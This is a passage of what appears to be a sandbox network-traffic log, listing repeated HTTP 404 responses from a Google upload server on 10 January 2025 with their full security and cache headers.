/_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC44B6e_wBgzhlNA8Z0Y1OSccHGM5vBgVnJWgJtiVhaByrxgp9Owny5cyms5cIiAOW0gihRe59sContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:38:26 GMTContent-Security-Policy: script-src 'nonce-3bV96Qk5H-Cl6qKYsf1UWg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7uArMNzvcNiC-2IscGWHzhT5ZmJl69s4-tQMa9cxhQfDLcL3VTutifOEK2AJJaKctDContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:38:38 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-_xG_xTwvjA8mvJtgyma0qg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5bO7aN4b9VgLv5X4BZySN2Ydco9nUJ-B-ms6TFV-1i_V47im69FPo1u9AduTUQdBlNFixFY3YContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:38:49 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'nonce-RsZ16NXkaFFS5nhMSO8TFQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4vGtrM6mxDhIaJt1B6qUFCDnSAME5TLgZf6yZzBKzHxS3TWSrRhsV1UjzSkg68R7V3Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:00 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'nonce-hC5FO_vh1Bcya19r1Dodvw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5rlzSVT83Jhl_g9vNOhMsIVd9uyrQwKc1W08COq-hLRYtlQlSAGPtWVkRFFGVRi6XmrrTV_hEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:11 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-D9B7YV5zKGHXtAKRr4rMGA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgRnYJgMNZcEXVAQ3Oin165x40IQwbsfw2ZeUiW21Zags_Lscelp4ijffa1TyOOHDkzkJu1ai4kContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:23 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-Ba8T_jLDIn_7TP3YwmOlSA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7-3yBZv3McKI9jLBAyHJ-Ii--JivMUejB_ZPoOGBF8c6H2H67hOSTiL-l1EGeYl_tln2jvGm8Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:34 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-dFEfbP8dV4wuitG3ozDzWQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6eOHyzsmjSykUufzovSP4g5ElKLnJTWh3UQ7vv1f9EKY1klm7SbKs3bhBfq7GH8RadContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:45 GMTContent-Security-Policy: script-src 'nonce-qdjvxMNKYNpneTKUvvhIsg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7s31hl6CpL0gWhXjeNemnQbXnrCIPsAvj2a9OdqGBLIfncShH2U0hVk_M9_WUBoXGdvYCLsNQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:56 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'nonce-LVhhOrqaRwEvx8870iFeqw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7zOyZ_z_egok3C_ZoR9H9FIO7-iqgz8QNiY8ArKuWyQ_EVQmvv5np666Ypl81WBDjWContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:40:07 GMTContent-Security-Policy: script-src 'nonce-NEvNQ_MqteSIUQJHnvFsUQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7yxvJzuKsQhGBySc0GXgUYVxim7qsq1e7a5TrCAkUGkR7iiYt7uZYFtDQIKU5GzJVJ_OfZcBoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:40:19 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'nonce-AqQP996BuNqePta4g8Wysw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6Sq41LDwFHMX6GIJwd70kTyJKov8ru34BQpEQiQkgl1tB3C_J99ycQd5G5DfOYHxsQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:40:30 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-HyC5wNj-jg8t19EUA7C6zw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4-6D8zDAZX4UyjirCHtCqb-BqO9OEakNOHN8USWFv6uMksFoU0sl_1nAlHjIOdaMmfContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:40:41 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-ARgZVScUaJZq1u8MsJi6YA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7TUeLvVYrCIdsMQ7bqv2A2EHqen0XFiymHOVXrFNkBzpxOdy2IFHDHbj02InbkUeCwContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:40:55 GMTContent-Security-Policy: script-src 'nonce-kNCcqjfjQiD0uWFzY7B2NA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC50jf_sB-xKZjQHRApZvvl5FIdNkPNuKymiaP7kTsMv0WUv6HFDNe63yMbzcIGLgq3oContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:41:06 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'nonce-C2W863CyDY1Cn4Hu5mkw-w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 